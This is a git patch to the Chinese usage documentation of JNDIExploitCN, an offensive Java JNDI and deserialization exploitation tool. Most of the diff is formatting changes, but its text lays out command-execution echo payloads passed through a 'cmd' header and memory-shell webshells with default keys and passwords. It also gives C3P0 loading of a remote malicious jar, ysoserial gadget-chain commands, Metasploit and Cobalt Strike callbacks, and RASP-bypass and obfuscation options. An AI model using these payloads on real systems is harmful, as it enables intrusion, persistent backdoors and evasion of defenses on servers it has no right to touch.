From 08172bfb0468d3ece83b2abf57d24c4957a0146a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Tue, 11 Jul 2023 09:43:56 +0800 Subject: [PATCH] Updated JNDIExploitCN (markdown) --- JNDIExploitCN.md | 87 ++++++++++++++++++++++++------------------------ 1 file changed, 43 insertions(+), 44 deletions(-) diff --git a/JNDIExploitCN.md b/JNDIExploitCN.md index 28e9cbd..6cf1204 100644 --- a/JNDIExploitCN.md +++ b/JNDIExploitCN.md @@ -1,4 +1,4 @@ -# 使用说明 +# JNDIExploit 用法 ```所有使用示例,用的是Yakit的FUZZ语法``` @@ -131,26 +131,26 @@ http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/comman ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230706103914.png) * 目前支持的所有 ```Echo``` 为 - * ```Bypass```: 用于rmi本地工厂类加载,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` - 的方式传递想要执行的命令 - * ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` - 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```JbossEcho```: Jboss 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```WeblogicEcho```: weblogic 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```WebsphereEcho```: websphere 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```ResinEcho```: Resin 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```JettyEcho```: Jetty7,8,9版本命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```WindowsEcho```: Windows 命令执行回显, 只执行了whoami - * ```Struts2Echo```: Struts2 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```LinuxEcho1```: Linux 命令执行回显, 只执行了id, - + 原理是遍历当前进程 fd 目录下的所有和 socket 相关的 fd 文件,并输出结果; - + 缺陷:1. 会影响同一时间点所有访问网站的用户(也会看到自定义回显的结果); 2. 在8次左右有可能导致应用崩溃 - * ```LinuxEcho2```: Linux 命令执行回显, 只执行了id - + 原理:通过延迟等方法来确定唯一正确的 fd 文件; - + 不会影响访问网站的其他用户,也不会导致应用崩溃; - * ```AllEcho```: 自动选择命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 - * ```command```:用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输 + * ```Bypass```: 用于rmi本地工厂类加载,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` + 的方式传递想要执行的命令 + * ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` + 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```JbossEcho```: Jboss 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```WeblogicEcho```: weblogic 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```WebsphereEcho```: websphere 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```ResinEcho```: Resin 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```JettyEcho```: Jetty7,8,9版本命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```WindowsEcho```: Windows 命令执行回显, 只执行了whoami + * ```Struts2Echo```: Struts2 命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```LinuxEcho1```: Linux 命令执行回显, 只执行了id, + + 原理是遍历当前进程 fd 目录下的所有和 socket 相关的 fd 文件,并输出结果; + + 缺陷:1. 会影响同一时间点所有访问网站的用户(也会看到自定义回显的结果); 2. 在8次左右有可能导致应用崩溃 + * ```LinuxEcho2```: Linux 命令执行回显, 只执行了id + + 原理:通过延迟等方法来确定唯一正确的 fd 文件; + + 不会影响访问网站的其他用户,也不会导致应用崩溃; + * ```AllEcho```: 自动选择命令执行回显, 通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 + * ```command```:用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输 + 直接命令执行示例: ``` @@ -196,12 +196,12 @@ http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/comman 不指定类型就默认为冰蝎马。 - t 选择内存马的类型 - - 不指定类型就默认为冰蝎马 - - bx: 冰蝎内存马,```key: nu1ryyds```, ```Referer:https://nu1r.cn/``` - - gz: 哥斯拉内存马,```pass: nu1r```, ```Referer:https://nu1r.cn/``` - - gzraw: 哥斯拉 raw 类型的内存马, ```pass: nu1r```, ```Referer:https://nu1r.cn/``` - - cmd: cmd命令回显内存马 - - sou5: suo5 隧道马 + - 不指定类型就默认为冰蝎马 + - bx: 冰蝎内存马,```key: nu1ryyds```, ```Referer:https://nu1r.cn/``` + - gz: 哥斯拉内存马,```pass: nu1r```, ```Referer:https://nu1r.cn/``` + - gzraw: 哥斯拉 raw 类型的内存马, ```pass: nu1r```, ```Referer:https://nu1r.cn/``` + - cmd: cmd命令回显内存马 + - sou5: suo5 隧道马 - a:是否继承恶意类 AbstractTranslet - o:使用反射绕过 - w:Windows下使用Agent写入 @@ -305,12 +305,12 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命 ## 🐗C3P04的使用 * 远程加载 Jar 包 - * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' + * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' * 向服务器写入 Jar 包并加载(不出网) - * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' - * C3P04 'localJar-./yaml.jar' + * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' + * C3P04 'localJar-./yaml.jar' * C3P0 二次反序列化 - * C3P04 'c3p0Double-/usr/CC6.ser' + * C3P04 'c3p0Double-/usr/CC6.ser' ``` {{url @@ -641,7 +641,7 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() --- -# YSO用法 +# ysoserial用法 项目支持利用链展示: @@ -756,7 +756,7 @@ If you want your payload being extremely short,you could just use: java -jar JNDIExploit-[version].jar -yso 1 -g [payload] -p '[command]' ``` -# 利用方式 +## 利用方式 在原版的利用方式中,对于使用 TemplatesImpl 的利用方式,仅使用了单一的 `java.lang.Runtime.getRuntime().exec()` 执行任意命令;对于使用 ChainedTransformer 的利用方式,也是仅 chain 了一个 Runtime exec,再漏洞利用上过于局限且单一,因此本项目在原版项目基础上扩展了不同的利用方式以供在实战环境中根据情况选择。 @@ -765,7 +765,7 @@ java -jar JNDIExploit-[version].jar -yso 1 -g [payload] -p '[command]' 原版仅使用了 Runtime 的命令执行方式,这里对其进行深度的扩展,并植入了多种内存马的功能。 -### 扩展攻击-内存马及回显 +## 扩展攻击-内存马及回显 如果使用这些利用链进行攻击,本项目内置了一些高级扩展用法,命令均使用 `EX-` 开头,包括内存马、命令执行回显等,具体如下: @@ -924,7 +924,7 @@ java -jar JNDIExploit-[version].jar -yso 1 -g CommonsCollections3 -p LF-/tmp/evi java -jar JNDIExploit-[version].jar -yso 1 -g CommonsBeanutils2 -p 'open -a Calculator.app' ``` -## URLDNS 探测目标类 +### URLDNS 探测目标类 为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容: @@ -960,7 +960,7 @@ java -jar JNDIExploit-[version].jar -yso 1 -g CommonsBeanutils2 -p 'open -a Calc java -jar JNDIExploit-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' ``` -## 其他利用链的拓展 +### 其他利用链的拓展 对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。 @@ -975,15 +975,15 @@ java -jar JNDIExploit-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' 对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:`EX-` -## MSF/CS 上线 +### MSF/CS 上线 使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。 -# 内存马的使用 +## 内存马的使用 针对项目中一键打入的各种内存马,这里提供了通用的利用方式。 -## 命令执行及后门类 +### 命令执行及后门类 对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://su18.org/ `,其次执行不同的逻辑: 这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://su18.org/"` 来进行自定义指定。 @@ -1006,13 +1006,13 @@ java -jar JNDIExploit-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' 7. 如果是 Tomcat Upgrade 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。 -## Echo 类 +### Echo 类 对于 Echo 类的回显,是基于在线程组中找到带有指定 Header 头部的请求、执行命令并回显的利用方式。 使用时在 Header 中加入 `X-Token-Data` ,其值为待执行的命令,命令执行结果将回显在 response 中。 -## RMI 内存马 +### RMI 内存马 对于 RMIBindTemplate 是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `exploit.org.qi.ysuserial.RMIBindExploit` @@ -1020,7 +1020,7 @@ java -jar JNDIExploit-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdowniShot_2022-08-12_18.19.48.png) -# 防御的绕过 +## 防御的绕过 这部分不涉及使用方式,只是简单的描述一下项目中所使用的绕过方式供大家了解。 @@ -1046,5 +1046,4 @@ java -jar JNDIExploit-[version].jar -yso 1 -g CommonsBeanutils1 -p 'EX-MS-TEXMSF 对于漏洞执行常使用的 Runtime、URLClassLoader 等,很多 RASP 都进行了 Hook,在攻击时可能会被拦截,这里我使用了一些反射调用 native 方法之类的技术去尝试 RASP 的防御,具体的技术实现就不细说了,感兴趣的朋友可以反编译 jar 包查看相关代码。 可以使用 -o 参数指定使用绕过 RASP 的相关技术。 -目前已支持动态生成混淆的类名,不存在任何 `qi4l` 关键字。 - +目前已支持动态生成混淆的类名,不存在任何 `qi4l` 关键字。 \ No newline at end of file